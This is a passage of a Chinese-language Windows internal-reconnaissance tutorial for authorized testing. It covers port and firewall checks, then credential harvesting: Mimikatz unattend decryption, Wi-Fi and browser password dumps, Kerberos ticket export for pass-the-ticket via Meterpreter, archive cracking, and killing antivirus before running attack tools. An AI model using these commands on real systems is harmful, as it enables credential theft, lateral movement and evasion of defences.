4.3.2 通过 PID 定位进程(tasklist)
-
用途:已知端口对应的PID后,通过
tasklist精准定位进程本体,判断该端口是否由合法服务占用(如3389对应termsrv.exe为正常,对应malware.exe则为异常); -
命令(替换
456为实际PID,结合netstat -ano获取的PID值):tasklist | findstr "456" # 基础筛选:仅显示PID对应的进程名和路径 # 若需更详细信息(如进程完整路径、内存占用),可使用: tasklist /fi "PID eq 456" /v # /fi:筛选条件;/v:显示详细信息 -
实战示例1:合法进程(3389端口对应RDP服务)
tasklist /fi "PID eq 456" /v输出结果:
图像名称 PID 会话名 会话# 内存使用 ========================== ====== ================ ======== ============ termsrv.exe 456 Services 0 12,344 K 用户名: NT AUTHORITY\SYSTEM CPU 时间: 0:05:23 窗口标题: N/A解读:
termsrv.exe是Windows远程桌面服务(RDP)的核心进程,由NT AUTHORITY\SYSTEM(系统账户)启动,内存占用稳定,属于合法进程。 -
实战示例2:异常进程(未知端口对应恶意程序)
若netstat -ano发现192.168.1.101:8888(未知端口)的PID为9999,执行:tasklist /fi "PID eq 9999" /v输出结果:
图像名称 PID 会话名 会话# 内存使用 ========================== ====== ================ ======== ============ malware.exe 9999 Console 1 89,760 K 用户名: DESKTOP-ABC123\ZhangSan CPU 时间: 2:15:30 窗口标题: N/A异常判断:
malware.exe为未知进程名,由普通用户ZhangSan启动,且占用大量CPU时间(2小时以上),需立即核查进程路径(可通过wmic process where "ProcessId=9999" get ExecutablePath获取路径),判断是否为木马、挖矿程序等恶意软件。 -
实战技巧:若进程路径位于
C:\Users\Public\、C:\Temp\、C:\Windows\Temp\等非标准安装目录,且进程名无明确业务含义(如a1b2c3.exe),大概率为恶意进程,需终止进程并删除文件。
4.3.3 PowerShell 查看 TCP 连接(灵活筛选)
- 用途:相较于
netstat,PowerShell的Get-NetTCPConnection支持更灵活的筛选条件(如按端口、状态、本地IP筛选),且输出格式更易读,适合批量分析; - 前提:PowerShell 3.0及以上版本(Windows 7及后续系统默认支持);
- 核心命令与示例:
-
筛选所有监听状态的TCP端口(开放端口):
Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' } | Select-Object LocalAddress, LocalPort, State, OwningProcess输出结果:
LocalAddress LocalPort State OwningProcess ------------ --------- ----- ------------- 0.0.0.0 3389 Listen 456 0.0.0.0 445 Listen 4 192.168.1.101 8080 Listen 5678解读:
LocalAddress=0.0.0.0表示监听所有本地IP,LocalAddress=192.168.1.101表示仅监听特定内网IP(可能是Web服务绑定的固定IP)。 -
筛选与外部IP的已建立连接(排查异常外连):
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' -and $_.RemoteAddress -notlike '192.168.*' } | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess输出结果:
LocalAddress LocalPort RemoteAddress RemotePort OwningProcess ------------ --------- ------------- ---------- ------------- 192.168.1.101 49152 202.97.128.68 80 1234 192.168.1.101 51234 103.XX.XX.XX 443 9999异常排查:
RemoteAddress=103.XX.XX.XX(非内网网段)且OwningProcess=9999(对应malware.exe),需通过WHOIS查询该IP归属(如是否为境外恶意IP),判断是否存在数据泄露风险。 -
通过PID关联进程名(无需切换CMD):
# 先获取PID=5678的TCP连接,再关联进程名 $conn = Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq 5678 } $process = Get-Process -Id 5678 | Select-Object Name, Path [PSCustomObject]@{ LocalPort = $conn.LocalPort RemotePort = $conn.RemotePort ProcessName = $process.Name ProcessPath = $process.Path }输出结果:
LocalPort RemotePort ProcessName ProcessPath --------- ---------- ----------- ----------- 8080 0 java.exe C:\Program Files\Java\jdk1.8.0_202\bin\java.exe解读:明确
8080端口由java.exe占用,路径为Java安装目录,推测是Java Web服务(如Tomcat),属于合法业务进程。
-
4.4 DNS 与出网探测(网络连通性分析)
DNS(域名系统)负责将域名解析为IP地址,出网探测则判断主机可向外网发起连接的端口,二者结合可识别主机的网络访问范围和潜在通信渠道。
4.4.1 查看 DNS 缓存(近期解析记录)
-
用途:DNS缓存记录主机近期解析过的域名(如访问过的网站、域控域名、API服务器域名),可辅助判断主机的业务访问范围和异常通信;
-
方法1:CMD命令(简洁版)
ipconfig /displaydns # 显示所有DNS缓存条目,包含域名、IP、生存时间(TTL)输出结果(关键条目):
记录名称 . . . . . . . : www.baidu.com 记录类型 . . . . . . . : 1 # 类型1=A记录(IPv4地址) 生存时间 . . . . . . . : 120 # TTL=120秒,缓存120秒后重新解析 数据长度 . . . . . . . : 4 部分. . . . . . . . . . : 回答 A (主机) 记录 . . . . : 180.101.49.12 # 百度的IPv4地址 记录名称 . . . . . . . : dc01.test-domain.com 记录类型 . . . . . . . : 1 生存时间 . . . . . . . : 3600 数据长度 . . . . . . . : 4 部分. . . . . . . . . . : 回答 A (主机) 记录 . . . . : 192.168.1.10 # 域控的IPv4地址解读:缓存中包含
dc01.test-domain.com(域控域名),进一步确认主机属于域环境;若出现未知域名(如malicious.com),需核查解析记录对应的IP是否为恶意地址。 -
方法2:PowerShell命令(详细版,支持筛选)
# 查看所有DNS缓存,筛选A记录(IPv4),并显示域名、IP、TTL Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache | Where-Object { $_.RecordType -eq 'A' } | Select-Object HostName, IPAddress, TimeToLive | Format-Table -AutoSize输出结果:
HostName IPAddress TimeToLive -------- --------- ---------- www.baidu.com {180.101.49.12} 115 dc01.test-domain.com {192.168.1.10} 3595 api.company.com {10.0.0.5} 600实战筛选:若需查找包含“api”的域名,可添加筛选条件:
Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache | Where-Object { $_.HostName -like '*api*' }
4.4.2 探测出网端口(判断可通信端口)
-
用途:出网端口决定了主机可向外网发起连接的“通道”(如80/443端口可访问网页,3389端口可远程连接外网主机),是判断后门通信能力、业务访问权限的关键;
-
原理:通过尝试与外部测试服务器的所有端口建立TCP连接,成功连接的端口即为可出网端口;
-
方法1:PowerShell探测(基础版)
# 探测1-10000端口,测试服务器使用allports.exposed(开放所有端口的公共测试服务器) $testServer = "allports.exposed" $ports = 1..10000 # 探测1到10000端口(可根据需求调整范围) $openPorts = @() foreach ($port in $ports) { $tcpClient = New-Object System.Net.Sockets.TcpClient $connectResult = $tcpClient.BeginConnect($testServer, $port, $null, $null) $waitResult = $connectResult.AsyncWaitHandle.WaitOne(100) # 超时时间100毫秒,避免阻塞 if ($waitResult -and $tcpClient.Connected) { $openPorts += $port Write-Host "端口 $port 可出网" } $tcpClient.Close() } Write-Host "`n可出网端口列表:$($openPorts -join ', ')"输出结果:
端口 80 可出网 端口 443 可出网 端口 3389 可出网 端口 5985 可出网 可出网端口列表:80, 443, 3389, 5985解读:80/443端口可出网(正常业务需求,访问网页/API),3389/5985端口可出网需警惕——若主机无远程管理需求,可能存在被用于远程控制的风险。
-
方法2:借助工具探测(高效版)
若需快速探测全端口(1-65535),可使用nc(NetCat)或nmap工具(需管理员权限):# 使用nc探测出网端口(需先下载nc.exe到本地) for /l %p in (1,1,65535) do (nc -z -w 1 allports.exposed %p && echo 端口 %p 可出网)说明:
-z表示仅扫描端口不发送数据,-w 1表示超时时间1秒,效率高于PowerShell循环。 -
风险提示:探测出网端口可能触发企业防火墙的告警(如频繁连接外部IP),需提前获得运维团队授权,避免被判定为恶意行为。
第五章 防火墙与安全配置收集(网络防护核查)
Windows防火墙是系统的第一道网络防护,收集其配置可判断入站/出站规则是否存在漏洞(如开放不必要端口、允许敏感IP访问),确保网络防护符合安全规范。
5.1 查看防火墙状态(所有配置文件)
- 用途:Windows防火墙包含“域”“专用”“公用”三个配置文件(对应不同网络环境),需分别查看状态是否开启,避免因某一配置文件关闭导致防护失效;
- 命令:
输出结果(关键字段):netsh advfirewall show allprofiles # 显示所有配置文件的状态和核心策略
风险排查:若任一配置文件状态为域配置文件设置: ---------------------------------------------------------------------- 状态 ON # 防火墙开启(域环境下必须开启) 防火墙策略 BlockInbound,AllowOutbound # 默认策略:阻止入站,允许出站 入站例外 允许 # 存在入站例外规则(如远程桌面、文件共享) 出站例外 允许 启用 stealthmode 是 # 启用隐身模式(不响应外部探测,减少被扫描风险) 入站数据包筛选 启用 出站数据包筛选 启用 专用配置文件设置: ---------------------------------------------------------------------- 状态 ON # 专用网络(如家庭、公司内网)开启防火墙 防火墙策略 BlockInbound,AllowOutbound ... 公用配置文件设置: ---------------------------------------------------------------------- 状态 ON # 公用网络(如咖啡厅、酒店WiFi)开启防火墙(关键!防止公网攻击) 防火墙策略 BlockInbound,AllowOutbound ...OFF(尤其是“公用”配置文件),需立即开启——公网环境下关闭防火墙会导致主机直接暴露在外部攻击中,易被植入恶意程序。
5.2 查看防火墙规则(入站/出站控制)
5.2.1 查看所有防火墙规则(基础信息)
- 命令:
输出结果(关键规则):netsh advfirewall firewall show rule name=all # 显示所有规则,包含名称、方向、协议、端口
安全评估:规则名称: Remote Desktop (TCP-In) # 远程桌面入站规则 启用: 是 # 规则已启用 方向: 入站 # 入站规则(控制外部访问主机) 配置文件: 域,专用,公用 # 所有配置文件均生效 分组: 远程桌面 本地IP: 任何 # 允许所有本地IP 远程IP: 任何 # 允许所有远程IP(风险点!应限制为内网IP) 协议: TCP 本地端口: 3389 # 开放3389端口(RDP) 远程端口: 任何 操作: 允许 # 允许符合条件的连接 规则名称: File and Printer Sharing (SMB-In) # SMB文件共享入站规则 启用: 是 方向: 入站 配置文件: 域,专用 本地IP: 任何 远程IP: 本地子网 # 仅允许本地子网访问(安全配置) 协议: TCP 本地端口: 445 操作: 允许Remote Desktop (TCP-In)规则的远程IP为“任何”——若主机暴露在公网,会导致全球IP均可尝试暴力破解RDP密码,需修改为“本地子网”或指定管理员IP;File and Printer Sharing (SMB-In)规则的远程IP为“本地子网”——符合安全规范,避免公网访问SMB服务(SMB漏洞高发,如永恒之蓝)。
5.2.2 筛选特定类型规则(精准核查)
- 示例1:查看所有入站允许规则
netsh advfirewall firewall show rule name=all direction=in action=allow - 示例2:查看开放3389端口的规则
netsh advfirewall firewall show rule name=all localport=3389 protocol=TCP - 示例3:查看允许外部IP访问的出站规则
netsh advfirewall firewall show rule name=all direction=out remoteip=any action=allow
5.3 查看防火墙日志配置(审计与追溯)
- 用途:防火墙日志记录入站/出站的数据包详情(如源IP、目标IP、端口、是否被拦截),可用于追溯网络攻击(如暴力破解、恶意连接);
- 命令:
输出结果:netsh advfirewall show logging # 显示所有配置文件的日志设置域配置文件的日志设置: ---------------------------------------------------------------------- 日志文件路径: C:\Windows\system32\LogFiles\Firewall\domainfw.log # 域环境日志路径 日志记录级别: 中 # 中级别:记录成功的连接和失败的连接(推荐) 最大日志文件大小(KB): 4096 # 日志文件最大4GB,满后自动覆盖旧日志 专用配置文件的日志设置: ---------------------------------------------------------------------- 日志文件路径: C:\Windows\system32\LogFiles\Firewall\privatefw.log 日志记录级别: 中 最大日志文件大小(KB): 4096 公用配置文件的日志设置: ---------------------------------------------------------------------- 日志文件路径: C:\Windows\system32\LogFiles\Firewall\publicfw.log 日志记录级别: 高 # 高级别:记录所有数据包(含未匹配规则的数据包,日志体积大) 最大日志文件大小(KB): 8192 - 日志分析技巧:
- 用记事本或Excel打开日志文件,筛选
DROP(拦截)条目,查看是否有大量来自同一IP的拦截记录(可能是暴力破解); - 筛选
ALLOW(允许)条目,核查是否有非预期的外部IP访问敏感端口(如3389、445); - 若日志级别为“低”(仅记录失败连接),需修改为“中”或“高”,确保审计完整性:
# 将公用配置文件的日志级别修改为“中” netsh advfirewall set logging public loglevel medium
- 用记事本或Excel打开日志文件,筛选
第六章 敏感数据收集(核心目标:凭证与业务数据)
敏感数据是信息收集的最终目标,包括密码、Kerberos票据、业务文档等,这些数据直接关系到系统的控制权和业务安全。需在严格授权下执行,避免违反数据安全法规。
6.1 密码相关信息(系统与应用凭证)
6.1.1 无人值守安装文件(隐藏的明文/加密密码)
- 背景:Windows系统或软件批量部署时,会使用
unattend.xml等无人值守文件自动填充管理员密码,部署后若未删除,会残留敏感凭证; - 常见路径(需逐一核查):
C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\system32\sysprep\unattend.xml
- 查看方法:
- 用记事本直接打开文件;
- 搜索
<Password>或<LocalAccount>标签,定位密码字段;
- 示例内容(加密密码):
<LocalAccounts> <LocalAccount wcm:action="add"> <Password> <Value>UABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=</Value> # Base64编码,解码后为"PasswordPassword" <PlainText>false</PlainText> # false=加密存储(通常用DPAPI加密),true=明文存储(高危!) </Password> <Name>Administrator</Name> <Group>Administrators</Group> </LocalAccount> </LocalAccounts> - 解密提示:
- 若
<PlainText>为true,直接获取明文密码; - 若为
false,需使用dpapi.py(Python工具)或Mimikatz(需管理员权限),结合当前用户的DPAPI密钥解密; - 实战命令(Mimikatz):
mimikatz # dpapi::unattend /in:C:\Windows\Panther\Unattended.xml
- 若
6.1.2 Wi-Fi密码(已连接网络的凭证)
-
用途:主机已连接的Wi-Fi密码(如公司内网Wi-Fi、员工个人Wi-Fi)可能被用于横向渗透(如连接同一Wi-Fi的其他主机);
-
步骤1:查看已连接的Wi-Fi名称
netsh wlan show profiles # 显示所有已保存的Wi-Fi配置文件输出结果:
所有用户配置文件 : WiFi-Office # 公司内网Wi-Fi WiFi-Home # 员工个人Wi-Fi WiFi-Cafe # 公共Wi-Fi(通常无密码或弱密码) -
步骤2:查看指定Wi-Fi的明文密码(需管理员权限)
netsh wlan show profile name="WiFi-Office" key=clear # key=clear:显示明文密码输出结果(关键字段):
安全设置 身份验证 : WPA2-Personal # 加密方式(WPA2较安全,WEP已淘汰) 密码 : 存在 密钥内容 : CompanyWiFi@2024 # Wi-Fi明文密码 密钥索引 : 0 -
风险提示:公司内网Wi-Fi密码若被泄露,可能导致外部人员通过Wi-Fi接入内网,需定期更换密码并启用802.1X认证(基于用户的Wi-Fi认证)。
6.1.3 浏览器保存的账号密码(应用凭证)
-
背景:Chrome、Edge、Firefox等浏览器默认保存用户登录的账号密码(如OA系统、邮箱、业务系统),可通过工具导出;
-
Chrome/Edge浏览器(基于Chromium内核):
- 密码存储路径:
C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Login Data(Chrome);C:\Users\用户名\AppData\Local\Microsoft\Edge\User Data\Default\Login Data(Edge); - 导出工具:
chromepass.exe(NirSoft工具,无需安装); - 实战命令:
chromepass.exe /stext C:\ChromePasswords.txt # 将密码导出为文本文件
输出结果(文本文件):
网站URL: https://mail.company.com/login 用户名: ZhangSan@company.com 密码: MailPass@2024 最后修改时间: 2024-05-15 09:30:00 网站URL: https://oa.company.com 用户名: zhangsan 密码: OAPass@123 - 密码存储路径:
-
Firefox浏览器:
- 密码存储路径:
C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\随机字符串.default-release\logins.json; - 导出工具:
firefoxpasswordview.exe(NirSoft工具);
- 密码存储路径:
-
注意事项:浏览器密码通常用用户的Windows凭据加密,需在当前用户上下文(登录状态)下导出,无法跨用户读取。
6.2 Kerberos票据信息(域环境核心凭证)
Kerberos票据是域内身份验证的“通行证”,无需密码即可通过票据访问域内资源(如文件共享、数据库),获取票据是域渗透的关键步骤。
6.2.1 查看本地存储的凭据(cmdkey)
- 用途:
cmdkey用于管理Windows凭据管理器中的凭证(如RDP连接凭证、域凭据、普通用户名密码); - 命令:
输出结果:cmdkey /l # /l:列出所有存储的凭据当前存储的凭据: 目标: TERMSRV/192.168.1.200 # 目标:远程桌面(RDP)主机192.168.1.200 类型: 域密码 用户: test-domain\ZhangSan # 存储的域用户名 目标: MicrosoftAccount\zhangsan@outlook.com # 微软账户(可能关联Office、OneDrive) 类型: 普通密码 用户: zhangsan@outlook.com 目标: Domain:interactive=TEST-DOMAIN\LiSi # 域内交互式凭据(LiSi的域凭证) 类型: 域密码 用户: TEST-DOMAIN\LiSi - 实战价值:若存在
TERMSRV/IP类型的凭据,可直接通过mstsc /v:IP登录远程主机(无需输入密码);若存在域管理员的凭据,可直接获取域控访问权限。
6.2.2 查看Kerberos票据缓存(klist)
- 用途:
klist显示当前用户的Kerberos票据缓存(如TGT票据、服务票据),TGT票据可用于生成“黄金票据”,服务票据可直接访问对应服务; - 命令:
输出结果(关键票据):klist # 查看所有票据 klist tickets # 仅查看票据(同klist) klist purge # 清除所有票据(用于测试票据获取流程)缓存的票据: (2) #0> 客户端: ZhangSan @ TEST-DOMAIN.COM 服务器: krbtgt/TEST-DOMAIN.COM @ TEST-DOMAIN.COM # TGT票据(关键!域内身份验证的基础) KerbTicket 加密类型: AES-256-CTS-HMAC-SHA1-96 # 加密类型(AES-256较安全,RC4-HMAC易破解) 票据标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize 开始时间: 5/20/2024 9:00:00 (本地) 结束时间: 5/20/2024 19:00:00 (本地) # 票据有效期10小时 续订时间: 5/27/2024 9:00:00 (本地) # 可续订,最长7天 KDC 调用: DC01.test-domain.com # 签发票据的KDC(域控) #1> 客户端: ZhangSan @ TEST-DOMAIN.COM 服务器: cifs/DC01.test-domain.com @ TEST-DOMAIN.COM # CIFS服务票据(用于访问域控的文件共享\\DC01\share) KerbTicket 加密类型: AES-256-CTS-HMAC-SHA1-96 开始时间: 5/20/2024 9:05:00 (本地) 结束时间: 5/20/2024 19:00:00 (本地) KDC 调用: DC01.test-domain.com - 票据类型解读:
- TGT票据(krbtgt/域名称):由域控的krbtgt账户签发,用于向KDC申请其他服务票据(如CIFS、HTTP),是“黄金票据”攻击的核心;
- 服务票据(服务类型/主机名):如
cifs/DC01(文件共享)、http/WEB01(Web服务)、mssqlsvc/SQL01(SQL Server),可直接访问对应服务;
- 实战应用:若获取TGT票据,可使用
Mimikatz导出票据文件(.kirbi格式),用于“Pass the Ticket”(票据传递)攻击:
输出结果:mimikatz # sekurlsa::tickets /export # 导出所有票据到当前目录[+] Ticket saved to C:\Users\ZhangSan\AppData\Local\Temp\krbtgt_TEST-DOMAIN.COM_ZhangSan.kirbi [+] Ticket saved to C:\Users\ZhangSan\AppData\Local\Temp\cifs_DC01.TEST-DOMAIN.COM_ZhangSan.kirbi
6.2.3 Metasploit获取票据(meterpreter会话)
-
前提:已通过漏洞(如永恒之蓝、弱密码)获取目标主机的meterpreter会话;
-
步骤1:加载kiwi模块(集成Mimikatz)
load kiwi # 加载kiwi模块(旧版本为load mimikatz) -
步骤2:导出Kerberos票据
kiwi_cmd sekurlsa::tickets /export # 同Mimikatz命令,导出票据到目标主机的临时目录 -
步骤3:下载票据到本地
download C:\Users\ZhangSan\AppData\Local\Temp\krbtgt_TEST-DOMAIN.COM_ZhangSan.kirbi # 下载TGT票据到本地 -
风险提示:票据传递攻击属于高风险操作,可能导致域内权限扩散,仅可在授权的红队测试中执行,且需在测试后清除所有导出的票据。
6.3 特殊文件挖掘(业务数据与配置)
特殊文件通常包含账号密码、业务清单、拓扑图等敏感信息,需结合“关键字搜索+路径遍历”的方式精准挖掘。
6.3.1 文档类文件(xlsx/docx/pptx/txt/md)
-
核心场景:用户常将“域账号清单.xlsx”“数据库密码.docx”“网络拓扑图.pptx”等敏感文档保存在桌面、文档目录或共享盘;
-
查找命令(递归搜索C盘,按文件类型筛选):
# 搜索C盘所有xlsx文件,输出完整路径 dir /s /b /a-d C:\*.xlsx # /s:递归搜索;/b:简洁格式(仅路径);/a-d:排除目录,仅显示文件 # 搜索包含“账号”“密码”关键字的txt文件 dir /s /b /a-d C:\*.txt | findstr /i "账号\|密码" # /i:不区分大小写;\|:逻辑或输出结果:
C:\Users\ZhangSan\Desktop\域账号清单.xlsx C:\Users\ZhangSan\Documents\数据库密码.txt C:\Users\Public\共享文档\IT资产清单.pptx -
内容分析技巧:
- 用Excel打开
域账号清单.xlsx,查看是否包含“用户名-密码-部门”对应关系; - 用记事本打开
数据库密码.txt,搜索“root”“sa”“admin”等数据库管理员账号; - 用PowerPoint打开
IT资产清单.pptx,查看是否包含内网IP段、设备型号、管理员联系方式;
- 用Excel打开
-
示例文档内容(数据库密码.txt):
SQL Server 2019(SQL01): 用户名:sa 密码:SQLsa@2024 IP:192.168.1.20 MySQL(DB01): 用户名:root 密码:MySQLroot@123 IP:192.168.1.21
6.3.2 配置文件(conf/ini/xml/ovpn)
-
VPN配置文件(.ovpn/.pptp):包含VPN服务器地址、端口、证书路径,部分配置文件嵌入用户名;
- 查找命令:
dir /s /b C:\*.ovpn - 输出结果:
C:\Users\ZhangSan\Documents\Company-VPN.ovpn - 关键内容:
remote vpn.company.com 1194 # VPN服务器地址和端口(1194为OpenVPN默认端口) dev tun cert client.crt # 客户端证书路径(通常与ovpn文件同目录) auth-user-pass # 启用用户名密码认证(需手动输入,未明文存储)
- 查找命令:
-
应用配置文件(.ini/.conf):包含数据库连接字符串、API密钥、服务账号密码;
- 查找命令:
dir /s /b C:\*.ini | findstr /i "config\|setting" - 输出结果:
C:\Program Files\ERP\erp.ini - 关键内容:
[Database] Server=192.168.1.20 Database=ERPDB UID=erpadmin PWD=ERPAdmin@2024 # 明文密码(高危!) Port=1433
- 查找命令:
-
Web配置文件(web.config/appsettings.json):ASP.NET/ASP.NET Core应用的配置文件,含数据库连接、密钥;
- 查找命令:
dir /s /b C:\inetpub\wwwroot\*.config(IIS默认网站目录) - 关键内容(web.config):
<connectionStrings> <add name="ERPConn" connectionString="Server=192.168.1.20;Database=ERPDB;Uid=erpadmin;Pwd=ERPAdmin@2024;" providerName="MySql.Data.MySqlClient" /> </connectionStrings>
- 查找命令:
6.3.3 代码文件(py/php/jsp/aspx/asp/sql)
-
核心风险:程序员常将数据库密码、API密钥硬编码到代码中(如
db_password = "123456"),用于测试或图方便,上线后未删除; -
查找命令(搜索代码中的密码关键字):
# 搜索C盘所有py文件,包含“password”“pass”“pwd”关键字 findstr /s /i /m "password\|pass\|pwd" C:\*.py # /m:仅显示包含关键字的文件名 # 搜索aspx文件中的数据库连接字符串 findstr /s /i "connectionstring" C:\*.aspx输出结果:
C:\Users\LiSi\Code\db_connect.py C:\inetpub\wwwroot\login.aspx -
代码内容分析(db_connect.py):
import pymysql # 数据库连接配置(硬编码密码) db_config = { 'host': '192.168.1.21', 'user': 'root', 'password': 'MySQLroot@123', # 明文密码 'db': 'testdb', 'port': 3306 } conn = pymysql.connect(**db_config) -
修复建议:代码中的敏感信息应存储在环境变量、配置中心或加密文件中,禁止硬编码。
6.3.4 压缩文件(zip/rar/7z)
-
核心场景:用户常将敏感文件打包为压缩包(如“2024年账号备份.zip”“运维文档.rar”),部分压缩包无密码或使用弱密码(如123456、公司简称);
-
查找命令:
dir /s /b C:\*.zip C:\*.rar C:\*.7z # 同时搜索三种压缩文件类型输出结果:
C:\Users\ZhangSan\Desktop\2024账号备份.zip C:\Users\Public\运维文档.rar -
密码破解技巧:
- 尝试默认密码:123456、admin、公司简称(如company)、压缩包创建日期(如20240520);
- 使用工具:
7zCrack(针对7z文件)、RAR Password Cracker(针对RAR文件),采用字典攻击; - 实战命令(7zCrack):
7zCrack.exe -f "C:\2024账号备份.zip" -d "C:\dict.txt" # -f:压缩包路径;-d:字典文件路径
-
注意事项:破解压缩包密码可能耗时较长,优先尝试弱密码和业务相关密码(如公司生日、部门编号)。
6.3.5 关键字精准搜索(全局敏感词匹配)
- 用途:针对“账号”“密码”“login”“pass”等通用敏感词,在全磁盘范围内搜索,覆盖所有文件类型;
- PowerShell命令(全局搜索):
输出结果:# 在C:\Users目录下搜索包含“密码”或“pass”的文件,输出文件路径和匹配行 Get-ChildItem -Path C:\Users -Recurse -File | Select-String -Pattern "密码|pass" -CaseSensitive:$false | Select-Object Path, LineNumber, Line | Format-Table -AutoSizePath LineNumber Line ---- ---------- ---- C:\Users\ZhangSan\Documents\笔记.txt 15 数据库密码:123456 C:\Users\LiSi\Code\config.py 22 db_pass = "LiSiPass@2024" C:\Users\Public\Readme.txt 8 默认登录密码:admin123 - 常用敏感词列表(可根据业务补充):
中文关键词 英文关键词 关联场景 账号、账户、登录、用户名 login、user、username、account 系统登录凭证 密码、口令、密钥 pass、password、pwd、key 密码或密钥 内网、网段、IP、网关 intranet、subnet、IP、gateway 网络拓扑信息 管理员、后台、权限 admin、backend、privilege 高权限账号或入口 备份、恢复、数据 backup、restore、data 业务数据备份文件 VPN、代理、隧道 VPN、proxy、tunnel 远程访问工具配置
第七章 局域网存活主机与进阶信息收集
7.1 局域网存活主机探测(无扫描工具场景)
在无nmap、masscan等工具的环境下,可通过Windows原生命令探测内网存活主机,避免触发安全设备告警。
7.1.1 NetBIOS扫描(nbtstat)
- 原理:NetBIOS是局域网内主机通信的协议,
nbtstat -A IP可获取主机的NetBIOS名称(主机名),存在响应即表示主机存活; - 命令(扫描192.168.1.0/24网段):
输出结果:# 批量扫描192.168.1.1到192.168.1.254 for /l %i in (1,1,254) do nbtstat -A 192.168.1.%i | findstr "NetBIOS Remote Machine Name" && echo 192.168.1.%i 存活NetBIOS Remote Machine Name Table 192.168.1.1 存活 NetBIOS Remote Machine Name Table 192.168.1.10 存活 NetBIOS Remote Machine Name Table 192.168.1.101 存活
7.1.2 OXID扫描(oleview.exe)
- 原理:OXID是Windows COM组件的远程调用协议,通过
oleview.exe(需安装Windows SDK)探测局域网内开启COM服务的主机; - 步骤:
- 运行
oleview.exe,点击“Tools”→“COM Object Scanner”; - 输入目标网段(如192.168.1.0/24),点击“Scan”;
- 扫描完成后,显示存活主机的IP和COM组件信息;
- 运行
- 优势:可探测到开启COM服务的主机(如域控、文件服务器),这些主机通常是内网核心设备。
7.2 其他进阶信息(系统痕迹与配置)
7.2.1 启用的共享文件夹(net share)
- 用途:共享文件夹是内网数据传输的常用方式,可能包含敏感文档(如财务数据、人事信息);
- 命令:
输出结果:net share # 显示当前主机的所有共享文件夹共享名 资源 注释 ------------------------------------------------------------------------------- C$ C:\ 默认共享(管理员可访问) D$ D:\ 默认共享 ADMIN$ C:\Windows 远程管理共享 Users C:\Users 用户共享 共享文档 C:\Users\Public\Documents 公共共享文档 命令成功完成。 - 风险排查:
- 若
Users或共享文档共享的权限设置为“Everyone 完全控制”,存在数据泄露风险; - 非默认共享(如“Finance”)需核查共享内容和权限,避免敏感数据对外开放。
- 若
7.2.2 最近运行的命令与文件(用户操作痕迹)
-
最近运行的命令(PowerShell历史记录):
Get-History # 显示当前PowerShell会话的命令历史 # 查看所有PowerShell历史记录(包含之前会话) Get-Content (Get-PSReadLineOption).HistorySavePath输出结果:
1: ipconfig /all 2: net user 3: Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' } 4: mimikatz # sekurlsa::logonpasswords # 高风险操作,需核查是否为授权行为 -
最近访问的文件(Windows资源管理器历史):
- 路径:
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent; - 内容:包含最近访问的文件快捷方式(.lnk文件),双击可直接打开原文件;
- 路径:
7.2.3 注册表敏感配置(reg命令)
-
用途:注册表存储系统核心配置(如服务启动项、软件安装信息、用户凭据),通过
reg命令查看敏感键值; -
示例1:查看远程桌面端口(默认3389,可能被修改)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber输出结果:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp PortNumber REG_DWORD 0x1ce9 # 0x1ce9=7401,表示RDP端口被修改为7401 -
示例2:查看开机启动项(可能存在恶意程序)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # 系统级开机启动项 reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # 当前用户开机启动项输出结果:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AliYunDun REG_SZ "C:\Program Files\AliYunDun\AliYunDun.exe" # 阿里云Agent(合法) Malware REG_SZ "C:\Temp\malware.exe" # 未知启动项(恶意程序,需删除)
7.2.4 安装的监控与安全软件(wmic)
- 用途:识别主机安装的杀毒软件、监控Agent(如Zabbix、Prometheus),避免操作触发安全告警;
- 命令:
输出结果:# 查看安装的杀毒软件 wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate # 查看安装的所有软件(筛选包含“监控”或“Agent”的软件) wmic product get name | findstr /i "监控|Agent|Zabbix|Prometheus"DisplayName ProductState 360安全卫士 262144 # 262144=启用状态 火绒安全软件 262144 Name Zabbix Agent 6.0.10 Prometheus Windows Exporter 阿里云监控Agent - 操作建议:若主机安装杀毒软件,需避免执行
Mimikatz、cobalt strike等敏感工具,可先通过taskkill终止杀毒软件进程(需管理员权限)。
第八章 信息收集总结与安全建议
8.1 信息收集流程梳理
- 基础信息摸底:主机名、系统版本、补丁状态→判断系统是否存在已知漏洞;
- 域环境判断:是否加入域、域控位置、域管理员→明确域内权限边界;
- 用户与权限核查:当前用户权限、本地管理员组、在线用户→识别权限滥用风险;
- 网络配置分析:IP、路由、端口、DNS→梳理网络访问范围和异常连接;
- 防火墙与安全配置:防火墙状态、规则、日志→确保网络防护有效;
- 敏感数据挖掘:密码、票据、特殊文件→获取核心凭证和业务数据;
- 内网存活主机探测:存活IP、核心设备→为横向渗透做准备。
8.2 安全加固建议
-
系统层面:
- 定期更新补丁(重点修复高危漏洞如MS17-010、CVE-2024-21303);
- 禁用无用服务(如Telnet、FTP),限制RDP端口访问范围(仅允许内网IP);
- 删除无人值守安装文件,避免残留密码。
-
域环境层面:
- 严格控制Domain Admins组成员,禁止普通用户加入;
- 启用Kerberos AES加密,禁用RC4-HMAC(避免票据被破解);
- 定期轮换域管理员密码,禁止密码复用。
-
网络层面:
- 防火墙入站规则仅开放必要端口(如80、443、3389仅限内网);
- 启用防火墙日志审计,定期分析拦截记录;
